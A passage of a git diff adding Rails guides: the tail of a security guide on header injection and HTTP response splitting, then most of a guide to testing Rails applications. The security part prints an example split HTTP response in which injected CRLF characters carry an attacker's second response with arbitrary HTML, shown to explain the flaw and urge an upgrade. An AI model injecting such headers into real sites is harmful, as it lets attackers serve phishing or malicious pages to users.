+So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
+
+h5. Response Splitting
+
+If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+<plain>
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+</plain>
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+
+
+h3. Additional Resources
+
+The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
+
+* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
+* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
+* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
+* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
diff --git a/guides/source/testing.textile b/guides/source/testing.textile
new file mode 100644
index 0000000000..4faf59fad8
--- /dev/null
+++ b/guides/source/testing.textile
@@ -0,0 +1,959 @@
+h2. A Guide to Testing Rails Applications
+
+This guide covers built-in mechanisms offered by Rails to test your
+application. By referring to this guide, you will be able to:
+
+* Understand Rails testing terminology
+* Write unit, functional, and integration tests for your application
+* Identify other popular testing approaches and plugins
+
+endprologue.
+
+h3. Why Write Tests for your Rails Applications?
+
+Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
+
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+h3. Introduction to Testing
+
+Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
+h4. The Test Environment
+
+By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in +config/database.yml+.
+
+A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
+
+h4. Rails Sets up for Testing from the Word Go
+
+Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see:
+
+<shell>
+$ ls -F test
+
+fixtures/  functional/  integration/  performance/  test_helper.rb  unit/
+</shell>
+
+The +unit+ directory is meant to hold tests for your models, the +functional+ directory is meant to hold tests for your controllers, the +integration+ directory is meant to hold tests that involve any number of controllers interacting, and the +performance+ directory is meant for performance tests.
+
+Fixtures are a way of organizing test data; they reside in the +fixtures+ folder.
+
+The +test_helper.rb+ file holds the default configuration for your tests.
+
+h4. The Low-Down on Fixtures
+
+For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+
+h5. What Are Fixtures?
+
+_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model.
+
+You'll find fixtures under your +test/fixtures+ directory. When you run +rails generate model+ to create a new model fixture stubs will be automatically created and placed in this directory.
+
+h5. YAML
+
+YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
+
+Here's a sample YAML fixture file:
+
+<yaml>
+# lo & behold!  I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+</yaml>
+
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
+
+h5. ERB'in It Up
+
+ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
+
+<erb>
+<% 1000.times do |n| %>
+user_<%= n %>:
+  username: <%= "user%03d" % n %>
+  email: <%= "user%03d@example.com" % n %>
+<% end %>
+</erb>
+
+h5. Fixtures in Action
+
+Rails by default automatically loads all fixtures from the +test/fixtures+ folder for your unit and functional test. Loading involves three steps:
+
+* Remove any existing data from the table corresponding to the fixture
+* Load the fixture data into the table
+* Dump the fixture data into a variable in case you want to access it directly
+
+h5. Fixtures are ActiveRecord objects
+
+Fixtures are instances of ActiveRecord. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
+
+<ruby>
+# this will return the User object for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+# one can also access methods available on the User class
+email(david.girlfriend.email, david.location_tonight)
+</ruby>
+
+h3. Unit Testing your Models
+
+In Rails, unit tests are what you write to test your models.
+
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
+
+NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Started with Rails":getting_started.html
+
+When you use +rails generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
+
+<shell>
+$ rails generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/unit/post_test.rb
+create  test/fixtures/posts.yml
+...
+</shell>
+
+The default test stub in +test/unit/post_test.rb+ looks like this:
+
+<ruby>
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end
+</ruby>
+
+A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+<ruby>
+require 'test_helper'
+</ruby>
+
+As you know by now, +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+
+<ruby>
+class PostTest < ActiveSupport::TestCase
+</ruby>
+
+The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
+
+Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
+
+Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. So,
+
+<ruby>
+test "the truth" do
+  assert true
+end
+</ruby>
+
+acts as if you had written
+
+<ruby>
+def test_the_truth
+  assert true
+end
+</ruby>
+
+only the +test+ macro allows a more readable test name. You can still use regular method definitions though.
+
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need +define_method+ and +send+ calls, but formally there's no restriction.
+
+<ruby>
+assert true
+</ruby>
+
+This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+* does this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
+
+Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
+
+h4. Preparing your Application for Testing
+
+Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
+
+<shell>
+$ rake db:migrate
+...
+$ rake db:test:load
+</shell>
+
+The +rake db:migrate+ above runs any pending migrations on the _development_ environment and updates +db/schema.rb+. The +rake db:test:load+ recreates the test database from the current +db/schema.rb+. On subsequent attempts, it is a good idea to first run +db:test:prepare+, as it first checks for pending migrations and warns you appropriately.
+
+NOTE: +db:test:prepare+ will fail with an error if +db/schema.rb+ doesn't exist.
+
+h5. Rake Tasks for Preparing your Application for Testing
+
+|_.Tasks                         |_.Description|
+|+rake db:test:clone+            |Recreate the test database from the current environment's database schema|
+|+rake db:test:clone_structure+  |Recreate the test database from the development structure|
+|+rake db:test:load+             |Recreate the test database from the current +schema.rb+|
+|+rake db:test:prepare+          |Check for pending migrations and load the test schema|
+|+rake db:test:purge+            |Empty the test database.|
+
+TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
+
+h4. Running Tests
+
+Running a test is as simple as invoking the file containing the test cases through Ruby:
+
+<shell>
+$ ruby -Itest test/unit/post_test.rb
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</shell>
+
+This will run all the test methods from the test case. Note that +test_helper.rb+ is in the +test+ directory, hence this directory needs to be added to the load path using the +-I+ switch.
+
+You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
+
+<shell>
+$ ruby -Itest test/unit/post_test.rb -n test_the_truth
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</shell>
+
+The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
+
+To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
+
+<ruby>
+test "should not save post without title" do
+  post = Post.new
+  assert !post.save
+end
+</ruby>
+
+Let us run this newly added test.
+
+<shell>
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite -e
+Started
+F
+Finished in 0.102072 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
+<false> is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+</shell>
+
+In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+
+<ruby>
+test "should not save post without title" do
+  post = Post.new
+  assert !post.save, "Saved the post without a title"
+end
+</ruby>
+
+Running this test shows the friendlier assertion message:
+
+<shell>
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
+Saved the post without a title.
+<false> is not true.
+</shell>
+
+Now to get this test to pass we can add a model level validation for the _title_ field.
+
+<ruby>
+class Post < ActiveRecord::Base
+  validates :title, :presence => true
+end
+</ruby>
+
+Now the test should pass. Let us verify by running the test again:
+
+<shell>
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.193608 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</shell>
+
+Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
+
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
+
+To see how an error gets reported, here's a test containing an error:
+
+<ruby>
+test "should report error" do
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+</ruby>
+
+Now you can see even more output in the console from running the tests:
+
+<shell>
+$ ruby unit/post_test.rb -n test_should_report_error
+Loaded suite -e
+Started
+E
+Finished in 0.082603 seconds.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
+    /test/unit/post_test.rb:6:in `test_should_report_error'
+
+1 tests, 0 assertions, 0 failures, 1 errors
+</shell>
+
+Notice the 'E' in the output. It denotes a test with error.
+
+NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+h4. What to Include in Your Unit Tests
+
+Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+
+h4. Assertions Available
+
+By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
+There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the default testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+|_.Assertion                                                       |_.Purpose|
+|+assert( boolean, [msg] )+                                        |Ensures that the object/expression is true.|
+|+assert_equal( expected, actual, [msg] )+                         |Ensures that +expected == actual+ is true.|
+|+assert_not_equal( expected, actual, [msg] )+                     |Ensures that +expected != actual+ is true.|
+|+assert_same( expected, actual, [msg] )+                          |Ensures that +expected.equal?(actual)+ is true.|
+|+assert_not_same( expected, actual, [msg] )+                      |Ensures that +!expected.equal?(actual)+ is true.|
+|+assert_nil( obj, [msg] )+                                        |Ensures that +obj.nil?+ is true.|
+|+assert_not_nil( obj, [msg] )+                                    |Ensures that +!obj.nil?+ is true.|
+|+assert_match( regexp, string, [msg] )+                           |Ensures that a string matches the regular expression.|
+|+assert_no_match( regexp, string, [msg] )+                        |Ensures that a string doesn't match the regular expression.|
+|+assert_in_delta( expecting, actual, delta, [msg] )+              |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
+|+assert_throws( symbol, [msg] ) { block }+                        |Ensures that the given block throws the symbol.|
+|+assert_raise( exception1, exception2, ... ) { block }+           |Ensures that the given block raises one of the given exceptions.|
+|+assert_nothing_raised( exception1, exception2, ... ) { block }+  |Ensures that the given block doesn't raise one of the given exceptions.|
+|+assert_instance_of( class, obj, [msg] )+                         |Ensures that +obj+ is of the +class+ type.|
+|+assert_kind_of( class, obj, [msg] )+                             |Ensures that +obj+ is or descends from +class+.|
+|+assert_respond_to( obj, symbol, [msg] )+                         |Ensures that +obj+ has a method called +symbol+.|
+|+assert_operator( obj1, operator, obj2, [msg] )+                  |Ensures that +obj1.operator(obj2)+ is true.|
+|+assert_send( array, [msg] )+                                     |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
+|+flunk( [msg] )+                                                  |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+
+Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+h4. Rails Specific Assertions
+
+Rails adds some custom assertions of its own to the +test/unit+ framework:
+
+NOTE: +assert_valid(record)+ has been deprecated. Please use +assert(record.valid?)+ instead.
+
+|_.Assertion                                                                        |_.Purpose|
+|+assert_valid(record)+                                                             |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
+|+assert_difference(expressions, difference = 1, message = nil) {...}+              |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+|+assert_no_difference(expressions, message = nil, &amp;block)+                     |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+|+assert_recognizes(expected_options, path, extras={}, message=nil)+                |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+  |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+|+assert_response(type, message = nil)+                                             |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200-299,  +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
+|+assert_redirected_to(options = {}, message=nil)+                                  |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
+|+assert_template(expected = nil, message=nil)+                                     |Asserts that the request was rendered with the appropriate template file.|
+
+You'll see the usage of some of these assertions in the next chapter.
+
+h3. Functional Tests for Your Controllers
+
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+
+h4. What to Include in your Functional Tests
+
+You should test for things such as:
+
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view?
+
+Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
+
+Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
+
+<ruby>
+test "should get index" do
+  get :index
+  assert_response :success
+  assert_not_nil assigns(:posts)
+end
+</ruby>
+
+In the +test_should_get_index+ test, Rails simulates a request on the action called +index+, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
+
+The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+
+* The action of the controller you are requesting. This can be in the form of a string or a symbol.
+* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+* An optional hash of session variables to pass along with the request.
+* An optional hash of flash values.
+
+Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
+
+<ruby>
+get(:show, {'id' => "12"}, {'user_id' => 5})
+</ruby>
+
+Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
+
+<ruby>
+get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+</ruby>
+
+NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
+
+Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
+
+<ruby>
+test "should create post" do
+  assert_difference('Post.count') do
+    post :create, :post => { :title => 'Some title'}
+  end
+
+  assert_redirected_to post_path(assigns(:post))
+end
+</ruby>
+
+Now you can try running all the tests and they should pass.
+
+h4. Available Request Types for Functional Tests
+
+If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 6 request types supported in Rails functional tests:
+
+* +get+
+* +post+
+* +patch+
+* +put+
+* +head+
+* +delete+
+
+All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+
+NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
+
+h4. The Four Hashes of the Apocalypse
+
+After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
+
+* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
+* +cookies+ - Any cookies that are set.
+* +flash+ - Any objects living in the flash.
+* +session+ - Any object living in session variables.
+
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
+
+<ruby>
+flash["gordon"]               flash[:gordon]
+session["shmession"]          session[:shmession]
+cookies["are_good_for_u"]     cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+assigns["something"]          assigns(:something)
+</ruby>
+
+h4. Instance Variables Available
+
+You also have access to three instance variables in your functional tests:
+
+* +@controller+ - The controller processing the request
+* +@request+ - The request
+* +@response+ - The response
+
+h4. Testing Templates and Layouts
+
+If you want to make sure that the response rendered the correct template and layout, you can use the +assert_template+
+method:
+
+<ruby>
+test "index should render correct template and layout" do
+  get :index
+  assert_template :index
+  assert_template :layout => "layouts/application"
+end
+</ruby>
+
+Note that you cannot test for template and layout at the same time, with one call to +assert_template+ method.
+Also, for the +layout+ test, you can give a regular expression instead of a string, but using the string, makes
+things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
+file in this standard layout directory. Hence,
+
+<ruby>
+assert_template :layout => "application"
+</ruby>
+
+will not work.
+
+If your view renders any partial, when asserting for the layout, you have to assert for the partial at the same time.
+Otherwise, assertion will fail.
+
+Hence:
+
+<ruby>
+test "new should render correct layout" do
+  get :new
+  assert_template :layout => "layouts/application", :partial => "_form"
+end
+</ruby>
+
+is the correct way to assert for the layout when the view renders a partial with name +_form+. Omitting the +:partial+ key in your +assert_template+ call will complain.
+
+h4. A Fuller Functional Test Example
+
+Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
+
+<ruby>
+test "should create post" do
+  assert_difference('Post.count') do
+    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
+  end
+  assert_redirected_to post_path(assigns(:post))
+  assert_equal 'Post was successfully created.', flash[:notice]
+end
+</ruby>
+
+h4. Testing Views
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
+
+NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
+
+There are two forms of +assert_select+:
+
++assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
+
++assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
+
+For example, you could verify the contents on the title element in your response with:
+
+<ruby>
+assert_select 'title', "Welcome to Rails Testing Guide"
+</ruby>
+
+You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
+
+<ruby>
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+</ruby>
+
+Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+
+<ruby>
+assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
+end
+
+assert_select "ol" do
+  assert_select "li", 8
+end
+</ruby>
+
+The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
+
+h5. Additional View-Based Assertions
+
+There are more assertions that are primarily used in testing views:
+
+|_.Assertion                                                                        |_.Purpose|
+|+assert_select_email+                                                              |Allows you to make assertions on the body of an e-mail. |
+|+assert_select_encoded+                                                            |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+|+css_select(selector)+  or +css_select(element, selector)+                         |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+
+Here's an example of using +assert_select_email+:
+
+<ruby>
+assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+</ruby>
+
+h3. Integration Testing
+
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+
+<shell>
+$ rails generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+</shell>
+
+Here's what a freshly-generated integration test looks like:
+
+<ruby>
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  fixtures :all
+
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end
+</ruby>
+
+Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+
+h4. Helpers Available for Integration Tests
+
+In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+
+|_.Helper                                                                           |_.Purpose|
+|+https?+                                                                           |Returns +true+ if the session is mimicking a secure HTTPS request.|
+|+https!+                                                                           |Allows you to mimic a secure HTTPS request.|
+|+host!+                                                                            |Allows you to set the host name to use in the next request.|
+|+redirect?+                                                                        |Returns +true+ if the last request was a redirect.|
+|+follow_redirect!+                                                                 |Follows a single redirect response.|
+|+request_via_redirect(http_method, path, [parameters], [headers])+                 |Allows you to make an HTTP request and follow any subsequent redirects.|
+|+post_via_redirect(path, [parameters], [headers])+                                 |Allows you to make an HTTP POST request and follow any subsequent redirects.|
+|+get_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP GET request and follow any subsequent redirects.|
+|+patch_via_redirect(path, [parameters], [headers])+                                |Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
+|+put_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+|+delete_via_redirect(path, [parameters], [headers])+                               |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+|+open_session+                                                                     |Opens a new session instance.|
+
+h4. Integration Testing Examples
+
+A simple integration test that exercises multiple controllers:
+
+<ruby>
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  fixtures :users
+
+  test "login and browse site" do
+    # login via https
+    https!
+    get "/login"
+    assert_response :success
+
+    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
+    assert_equal '/welcome', path
+    assert_equal 'Welcome avs!', flash[:notice]
+
+    https!(false)
+    get "/posts/all"
+    assert_response :success
+    assert assigns(:products)
+  end
+end
+</ruby>
+
+As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+
+Here's an example of multiple sessions and custom DSL in an integration test
+
+<ruby>
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  fixtures :users
+
+  test "login and browse site" do
+
+    # User avs logs in
+    avs = login(:avs)
+    # User guest logs in
+    guest = login(:guest)
+
+    # Both are now available in different sessions
+    assert_equal 'Welcome avs!', avs.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+
+    # User avs can browse site
+    avs.browses_site
+    # User guest can browse site as well
+    guest.browses_site
+
+    # Continue with other assertions
+  end
+
+  private
+
+  module CustomDsl
+    def browses_site
+      get "/products/all"
+      assert_response :success
+      assert assigns(:products)
+    end
+  end
+
+  def login(user)
+    open_session do |sess|
+      sess.extend(CustomDsl)
+      u = users(user)
+      sess.https!
+      sess.post "/login", :username => u.username, :password => u.password
+      assert_equal '/welcome', path
+      sess.https!(false)
+    end
+  end
+end
+</ruby>
+
+h3. Rake Tasks for Running your Tests
+
+You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.
+
+|_.Tasks                         |_.Description|
+|+rake test+                     |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
+|+rake test:benchmark+           |Benchmark the performance tests|
+|+rake test:functionals+         |Runs all the functional tests from +test/functional+|
+|+rake test:integration+         |Runs all the integration tests from +test/integration+|
+|+rake test:profile+             |Profile the performance tests|
+|+rake test:recent+              |Tests recent changes|
+|+rake test:uncommitted+         |Runs all the tests which are uncommitted. Supports Subversion and Git|
+|+rake test:units+               |Runs all the unit tests from +test/unit+|
+
+
+h3. Brief Note About +Test::Unit+
+
+Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+, allowing
+us to use all of the basic assertions in our tests.
+
+NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
+
+h3. Setup and Teardown
+
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
+
+<ruby>
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  def setup
+    @post = posts(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # as we are re-initializing @post before every test
+    # setting it to nil here is not essential but I hope
+    # you understand how you can use the teardown method
+    @post = nil
+  end
+
+  test "should show post" do
+    get :show, :id => @post.id
+    assert_response :success
+  end
+
+  test "should destroy post" do
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id => @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+end
+</ruby>
+
+Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as +ActiveSupport::Callbacks+. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
+
+* a block
+* a method (like in the earlier example)
+* a method name as a symbol
+* a lambda
+
+Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
+
+<ruby>
+require '../test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  setup :initialize_post
+
+  # called after every single test
+  def teardown
+    @post = nil
+  end
+
+  test "should show post" do
+    get :show, :id => @post.id
+    assert_response :success
+  end
+
+  test "should update post" do
+    patch :update, :id => @post.id, :post => { }
+    assert_redirected_to post_path(assigns(:post))
+  end
+
+  test "should destroy post" do
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id => @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+  private
+
+  def initialize_post
